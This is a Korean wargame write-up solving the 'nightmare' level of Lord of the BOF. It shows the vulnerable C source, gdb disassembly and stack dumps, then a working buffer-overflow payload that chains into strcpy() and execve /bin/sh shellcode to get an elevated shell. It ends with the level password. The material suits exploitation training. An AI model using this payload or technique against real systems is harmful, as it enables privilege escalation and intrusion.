BOF 원정대 – Level 18 (nightmare)

문제 소스는 아래와 같다.

/*
 The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
 char buffer[40];
 char *addr;

 if(argc < 2){
 printf(argv error\n);
 exit(0);
 }

 // check address
 addr = (char *)&strcpy;
 if(memcmp(argv[1]+44, &addr, 4) != 0){
 printf(You must fall in love with strcpy()\n);
 exit(0);
 }

 // overflow!
 strcpy(buffer, argv[1]);
 printf(%s\n, buffer);

 // dangerous waterfall
 memset(buffer+40+8, 'A', 4);
}

우선 코드를 보면 strcpy() 함수 주소를 체크한다. 즉 오버플로우 후 리턴 주소가 strcpy() 함수 주소여야 한다. 따라서 strcpy() 함수를 이용하여 RTL 공격을 해야 한다는 것이다. 먼저 strcpy() 함수 원형을 살펴보자.

#include <string.h>

char *strcpy(char *dest, const char *src);

원형은 위와 같다. 먼저 목적지 주소가 들어가고 이후에 소스 주소가 들어가는 것이다. 우선 한번 테스트를 해보도록 하자.

[succubus@localhost succubus]$ gdb nightmara 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) disassemble main
Dump of assembler code for function main:
0x80486b4 <main>: push %ebp
0x80486b5 <main+1>: mov %esp,%ebp
0x80486b7 <main+3>: sub $0x2c,%esp
0x80486ba <main+6>: cmpl $0x1,0x8(%ebp)
0x80486be <main+10>: jg 0x80486d7 <main+35>
0x80486c0 <main+12>: push $0x80487db
0x80486c5 <main+17>: call 0x80483e0 <printf>
0x80486ca <main+22>: add $0x4,%esp
0x80486cd <main+25>: push $0x0
0x80486cf <main+27>: call 0x80483f0 <exit>
0x80486d4 <main+32>: add $0x4,%esp
0x80486d7 <main+35>: movl $0x8048410,0xffffffd4(%ebp)
0x80486de <main+42>: push $0x4
0x80486e0 <main+44>: lea 0xffffffd4(%ebp),%eax
0x80486e3 <main+47>: push %eax
0x80486e4 <main+48>: mov 0xc(%ebp),%eax
0x80486e7 <main+51>: add $0x4,%eax
0x80486ea <main+54>: mov (%eax),%edx
0x80486ec <main+56>: add $0x2c,%edx
0x80486ef <main+59>: push %edx
0x80486f0 <main+60>: call 0x80483c0 <memcmp>
0x80486f5 <main+65>: add $0xc,%esp
0x80486f8 <main+68>: mov %eax,%eax
0x80486fa <main+70>: test %eax,%eax
0x80486fc <main+72>: je 0x8048715 <main+97>
0x80486fe <main+74>: push $0x8048800
0x8048703 <main+79>: call 0x80483e0 <printf>
0x8048708 <main+84>: add $0x4,%esp
0x804870b <main+87>: push $0x0
0x804870d <main+89>: call 0x80483f0 <exit>
0x8048712 <main+94>: add $0x4,%esp
0x8048715 <main+97>: mov 0xc(%ebp),%eax
0x8048718 <main+100>: add $0x4,%eax
0x804871b <main+103>: mov (%eax),%edx
0x804871d <main+105>: push %edx
0x804871e <main+106>: lea 0xffffffd8(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x8048721 <main+109>: push %eax
0x8048722 <main+110>: call 0x8048410 <strcpy>
0x8048727 <main+115>: add $0x8,%esp
0x804872a <main+118>: lea 0xffffffd8(%ebp),%eax
0x804872d <main+121>: push %eax
0x804872e <main+122>: push $0x8048825
0x8048733 <main+127>: call 0x80483e0 <printf>
0x8048738 <main+132>: add $0x8,%esp
0x804873b <main+135>: push $0x4
0x804873d <main+137>: push $0x41
0x804873f <main+139>: lea 0xffffffd8(%ebp),%eax
0x8048742 <main+142>: lea 0x30(%eax),%edx
0x8048745 <main+145>: push %edx
0x8048746 <main+146>: call 0x8048400 <memset>
0x804874b <main+151>: add $0xc,%esp
0x804874e <main+154>: leave 
0x804874f <main+155>: ret 
End of assembler dump.
(gdb) b *main+155
Breakpoint 1 at 0x804874f
(gdb) r `python -c print 'A'*44 + 'BBBB'`
Starting program: /home/succubus/nightmara `python -c print 'A'*44 + 'BBBB'`
You must fall in love with strcpy()

Program exited normally.
(gdb) r `python -c print 'A'*44 + '\x10\x84\x04\x08'` 
Starting program: /home/succubus/nightmara `python -c print 'A'*44 + '\x10\x84\x04\x08'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x804874f in main ()
(gdb) r `python -c print 'A'*44 + '\x10\x84\x04\x08' + 'aaaa' + 'bbbb' + 'cccc'` 
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/succubus/nightmara `python -c print 'A'*44 + '\x10\x84\x04\x08' + 'aaaa' + 'bbbb' + 'cccc'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaabbbbcccc

Breakpoint 1, 0x804874f in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
strcpy (dest=0x62626262 <Address 0x62626262 out of bounds>, 
 src=0x63636363 <Address 0x63636363 out of bounds>) at ../sysdeps/generic/strcpy.c:37
37 ../sysdeps/generic/strcpy.c: No such file or directory.
(gdb) r `python -c print 'A'*44 + '\x10\x84\x04\x08' + 'aaaa' + '\xfc\xff\xff\xbf' + '\xfc\xff\xff\xbf'` 
Starting program: /home/succubus/nightmara `python -c print 'A'*44 + '\x10\x84\x04\x08' + 'aaaa' + '\xfc\xff\xff\xbf' + '\xfc\xff\xff\xbf'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaa

Breakpoint 1, 0x804874f in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `python -c print 'A'*44 + '\x10\x84\x04\x08' + 'aaaa' + '\xfc\xff\xff\xbf' + '\xfc\xff\xff\xbf'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/succubus/nightmara `python -c print 'A'*44 + '\x10\x84\x04\x08' + 'aaaa' + '\xfc\xff\xff\xbf' + '\xfc\xff\xff\xbf'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaa

Breakpoint 1, 0x804874f in main ()
(gdb) x/32wx $esp
0xbffffacc: 0x08048410 0x41414141 0xbffffffc 0xbffffffc
0xbffffadc: 0x40013800 0x00000002 0x08048420 0x00000000
0xbffffaec: 0x08048441 0x080486b4 0x00000002 0xbffffb14
0xbffffafc: 0x08048350 0x0804877c 0x4000ae60 0xbffffb0c
0xbffffb0c: 0x40013e90 0x00000002 0xbffffc10 0xbffffc29
0xbffffb1c: 0x00000000 0xbffffc66 0xbffffc79 0xbffffc90
0xbffffb2c: 0xbffffcaf 0xbffffcd1 0xbffffcdf 0xbffffea2
0xbffffb3c: 0xbffffec1 0xbffffedf 0xbffffef4 0xbfffff14
(gdb) 
0xbffffb4c: 0xbfffff1f 0xbfffff30 0xbfffff38 0xbfffff49
0xbffffb5c: 0xbfffff53 0xbfffff61 0xbfffff72 0xbfffff80
0xbffffb6c: 0xbfffff8b 0xbfffff9f 0x00000000 0x00000003
0xbffffb7c: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffb8c: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffffb9c: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffffbac: 0x08048420 0x0000000b 0x00000205 0x0000000c
0xbffffbbc: 0x00000205 0x0000000d 0x00000205 0x0000000e
(gdb) 
0xbffffbcc: 0x00000205 0x00000010 0x0febfbff 0x0000000f
0xbffffbdc: 0xbffffc0b 0x00000000 0x00000000 0x00000000
0xbffffbec: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbfc: 0x00000000 0x00000000 0x00000000 0x69000000
0xbffffc0c: 0x00363836 0x6d6f682f 0x75732f65 0x62756363
0xbffffc1c: 0x6e2f7375 0x74686769 0x6172616d 0x41414100
0xbffffc2c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc3c: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) 
0xbffffc4c: 0x41414141 0x41414141 0x04841041 0x61616108
0xbffffc5c: 0xfffffc61 0xfffffcbf 0x575000bf 0x682f3d44
0xbffffc6c: 0x2f656d6f 0x63637573 0x73756275 0x4d455200
0xbffffc7c: 0x4845544f 0x3d54534f 0x2e323931 0x2e383631
0xbffffc8c: 0x00312e33 0x54534f48 0x454d414e 0x636f6c3d
0xbffffc9c: 0x6f686c61 0x6c2e7473 0x6c61636f 0x616d6f64
0xbffffcac: 0x4c006e69 0x4f535345 0x3d4e4550 0x73752f7c
0xbffffcbc: 0x69622f72 0x656c2f6e 0x69707373 0x732e6570
(gdb) 

우선 디스어셈 한 코드를 보면 memcpy() 함수 호출하는 부분에서 조금 위를 살펴보면 0x8048410 주소가 나오는데 이 주소가 strcpy() 함수 주소임을 확인할 수 있었다. 그리고 임의로 인자를 aaaa 와 bbbb 그리고 cccc를 주고 확인한 결과 bbbb가 목적지 주소이며 cccc가 소스 주소임을 확인할 수 있었다.

그리고 bbbb와 cccc 대신 스택내에 존재하는 아무 주소나 입력하여 확인한 결과 함수 실행 후 0x41414141 주소를 참조함을 확인할 수 있었다. 0x41414141 주소는 스택내에서 확인한 결과 strcpy() 함수 바로 다음에 오는 주소였다.

그럼 이제 공격은 아래와 같이 구성해볼 수 있다. strcpy() 함수를 이용하여 0x41414141 값을 쉘코드가 위치한 주소로 변경시키는 것이다. PAYLOAD는 아래와 같다.

[NOP+SHELLCODE, 44 Byte] [strcpy() 함수, 0x08048410] [AAAA] [바로앞 4 Byte 주소, 0xbffffad0] [NOP+SHELLCODE가 위치한 주소가 담긴 주소, 0xbffffadc] [NOP+SHELLCODE 주소, 0xbffffc2c]

[succubus@localhost succubus]$ ./nightmare `python -c print '\x90'*19 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x10\x84\x04\x08' + 'AAAA' + '\xd0\xfa\xff\xbf' + '\xdc\xfa\xff\xbf' + '\x2c\xfc\xff\xbf'` 
/shh/binAAA,
bash$ id
uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)
bash$ my-pass
euid = 518
beg for me
bash$ 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다